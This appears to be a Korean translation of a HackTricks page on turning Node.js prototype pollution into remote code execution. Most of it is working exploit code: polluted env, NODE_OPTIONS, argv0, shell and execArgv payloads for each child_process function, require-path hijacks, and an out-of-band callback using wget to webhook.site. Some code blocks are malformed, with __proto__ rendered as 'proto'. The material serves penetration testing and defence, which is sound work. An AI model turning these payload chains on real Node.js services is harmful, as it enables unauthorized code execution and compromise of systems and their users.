Prototype Pollution to RCE

AWS 해킹을 처음부터 전문가까지 배우세요 htARTE (HackTricks AWS Red Team Expert)!

다른 방법으로 HackTricks를 지원하는 방법:

취약한 코드

다음과 같은 코드를 사용하는 실제 JS를 상상해보세요:

const { execSync, fork } = require('child_process');

function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

function clone(target) {
return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');

환경 변수를 통한 PP2RCE

PP2RCE원격 코드 실행을 의미하는 Prototype Pollution to RCE의 약자입니다.

기사에 따르면 프로세스가 생성될 때 **child_process**의 일부 메서드(예: fork 또는 spawn 또는 기타 메서드)를 호출하면 normalizeSpawnArguments 메서드가 호출되는데, 이는 새로운 환경 변수를 만들기 위한 프로토타입 오염 가젯을 사용합니다:

//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

__proto__ 독성화

child_process 라이브러리의 normalizeSpawnArguments 함수가 작동하는 방식 때문에, 프로세스에 새로운 환경 변수를 설정할 때는 단순히 어떤 것이든 독성화하면 됩니다. 예를 들어, __proto__.avar="valuevar"를 하면 프로세스가 avar이라는 이름의 변수를 값 valuevar로 생성합니다.

그러나 환경 변수가 첫 번째로 나타나려면 .env 속성독성화해야 하며 (일부 메서드에서만) 해당 변수가 첫 번째로 나타납니다 (공격이 가능해집니다).

이것이 다음 공격에서 NODE_OPTIONS.env 내부에 없는 이유입니다.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

constructor.prototype 오염

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2

환경 변수 + 명령줄을 통한 PP2RCE

이전 것과 유사한 페이로드에 일부 변경 사항이 제안되었습니다. 이 설명서 주요 차이점은:

  • 노드js 페이로드를 파일 /proc/self/environ 대신 **/proc/self/cmdline**의 argv0에 저장합니다.

  • 그런 다음 **NODE_OPTIONS**을 통해 파일 /proc/self/environ을 필요로 하는 대신 **/proc/self/cmdline**을 필요로 합니다.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

DNS 상호 작용

다음 payload를 사용하여 이전에 논의한 NODE_OPTIONS 환경 변수를 남용하고 DNS 상호 작용이 작동하는지 감지할 수 있습니다:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}

또는 도메인을 요청하는 WAF를 피하기 위해:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE vuln child_process functions

이 섹션에서는 child_process에서 각 함수를 분석하여 코드를 실행하고 해당 함수가 코드를 실행하도록 강제할 수 있는 기술을 사용할 수 있는지 확인할 것입니다:

exec exploitation
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');
execFile 악용

```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');

// stdin trick - not working // Not using stdin

// Windows - not working

**`execFile`**가 작동하려면 **NODE\_OPTIONS**가 작동해야 합니다.\
만약 **node**가 실행되지 않는다면, 실행되는 것을 **환경 변수로 변경**하여 설정해야 합니다.

**다른** 기술들은 이 요구 사항 없이 **작동**합니다. 왜냐하면 프로토타입 오염을 통해 **실행되는 것을 수정**할 수 있기 때문입니다. (이 경우에도 `.shell`을 오염시키더라도 실행되는 것은 오염되지 않습니다).

</details>

<details>

<summary><code>fork</code> 악용</summary>

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');

// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
spawn 악용

```javascript // environ trick - working with small variation (shell and argv0) // NOT working after kEmptyObject (fix) without options const { spawn } = require('child_process'); p = {} // If in windows or mac you need to change the following params to the path of ndoe p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"} p.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = spawn('something'); //var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell) // NOT working after kEmptyObject (fix) without options const { spawn } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = spawn('something'); //var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - not working // Not using stdin

// Windows // NOT working after require(fix) without options const { spawn } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = spawn('something'); //var proc = spawn('something',[],{"cwd":"C:\"}); //To work after kEmptyObject (fix)

</details>

<details>

<summary><strong><code>execFileSync</code> 악용</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
execSync 악용

```javascript // environ trick - working with small variation (shell and argv0) // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} // If in windows or mac you need to change the following params to the path of ndoe p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"} p.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = execSync('something');

// cmdline trick - working with small variation (shell) // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execSync('something');

// stdin trick - working // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.argv0 = "/usr/bin/vim" p.proto.shell = "/usr/bin/vim" p.proto.input = ':!{touch /tmp/execSync-stdin}\n' var proc = execSync('something');

// Windows // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = execSync('something');

</details>

<details>

<summary><strong><code>spawnSync</code> 악용</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/spawnSync-stdin}\n'
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

강제로 Spawn 유도하기

이전 예제에서는 spawn을 호출하는 기능존재해야 했음을 보았습니다 (무언가를 실행하는 child_process의 모든 메소드가 호출함). 이전 예제에서는 코드의 일부였지만, 코드가 호출하지 않는 경우는 어떻게 할까요.

require 파일 경로 제어

다른 설명에서 사용자는 **require**가 실행될 파일 경로를 제어할 수 있습니다. 이 시나리오에서 공격자는 시스템 내부에서 .js 파일을 찾아야 합니다. 해당 파일은 가져올 때 spawn 메소드를 실행해야 합니다. 가져올 때 spawn 함수를 호출하는 일반적인 파일의 예시는 다음과 같습니다:

  • /path/to/npm/scripts/changelog.js

  • /opt/yarn-v1.22.19/preinstall.js

  • 아래에서 더 많은 파일 찾기

다음 간단한 스크립트는 패딩 없이 child_process에서의 호출을 검색합니다 (함수 내부의 호출을 피하기 위해):

find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
이전 스크립트에서 발견된 흥미로운 파일
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })

  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })

  • node_modules/npm/scripts/changelog.js:16:const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)

  • node_modules/detect-libc/bin/detect-libc.js:18:process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);

  • node_modules/jest-expo/bin/jest.js:26:const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });

  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })

  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })

  • node_modules/runtypes/scripts/format.js:13:const npmBinPath = execSync('npm bin').toString().trim();

  • node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });

프로토타입 오염을 통한 require 파일 경로 설정

이전 기술은 사용자가 필요한 파일의 경로를 제어해야 합니다. 그러나 이것이 항상 사실은 아닙니다.

그러나 코드가 프로토타입 오염 이후에 require를 실행할 경우, 필요한 경로를 제어하지 않더라도 프로토타입 오염을 악용하여 다른 경로를 강제로 설정할 수 있습니다. 따라서 코드 라인이 require("./a_file.js") 또는 require("bytes")와 같더라도 오염된 패키지가 필요합니다.

따라서 프로토타입 오염 이후에 require가 실행되고 spawn 함수가 없는 경우, 이것이 공격입니다:

  • 시스템 내부에 .js 파일을 찾아야 하며, 이 파일은 child_process를 사용하여 무언가를 실행해야 합니다.

  • 공격 대상 플랫폼에 파일을 업로드할 수 있다면 해당 파일을 업로드할 수 있습니다.

  • 경로를 오염시켜 .js 파일을 요구하는 것을 강제로 로드하십시오.

  • child_process를 사용하여 무언가를 실행할 때 임의의 코드를 실행하도록 환경/cmdline을 오염시킵니다 (초기 기술 참조)

절대적인 require

수행된 require가 절대적인 경우 (require("bytes"))이고 package.json 파일에 main이 포함되어 있지 않은 경우, main 속성을 오염시키고 다른 파일을 실행하도록 require를 만들 수 있습니다.

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require('bytes');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('bytes');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork("anything");

상대적인 require - 1

만약 상대 경로가 절대 경로 대신로드되면 node가 다른 경로를로드하도록 할 수 있습니다:

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork('/path/to/anything');

상대적인 요구 - 2

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

```javascript const { fork } = require('child_process'); console.log("Hellooo from malicious"); fork('/path/to/anything'); ``` #### 상대적인 require - 3

이전 것과 유사하게, 이것은 이 writeup에서 발견되었습니다.

// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js"
},
name: './usage'
}
Object.prototype["path"] = '/opt/yarn-v1.22.19'
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
"NODE_DEBUG": "console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
"NODE_OPTIONS": "--require=/proc/self/environ"
}

require('./usage.js')

VM 가젯

논문 https://arxiv.org/pdf/2207.11171.pdf 에서는 vm 라이브러리의 일부 메서드에서 **contextExtensions**의 제어가 가젯으로 사용될 수 있다고 언급되었습니다. 그러나 이전의 child_process 메서드와 마찬가지로 최신 버전에서 수정되었습니다.

수정 사항 및 예기치 않은 보호

프로토타입 오염은 객체의 속성정의되지 않은 경우에만 작동합니다. 코드에서 해당 속성설정된 경우 덮어쓸 수 없습니다.

2022년 6월 이 커밋에서 {} 대신에 options 변수가 **kEmptyObject**로 설정되었습니다. 이로 인해 프로토타입 오염이 **options**의 속성에 영향을 미치지 못하게 되어 RCE를 얻을 수 없습니다. 최소한 v18.4.0부터 이 보호 기능이 구현되었으며, 따라서 spawnspawnSync 메서드를 영향을 주는 exploit은 더 이상 작동하지 않습니다 (옵션을 사용하지 않는 경우)!

이 커밋에서는 vm 라이브러리의 **contextExtensions**의 프로토타입 오염도 **{} 대신에 kEmptyObject**로 설정하여 일부 수정되었습니다.

다른 가젯

참고 자료

Last updated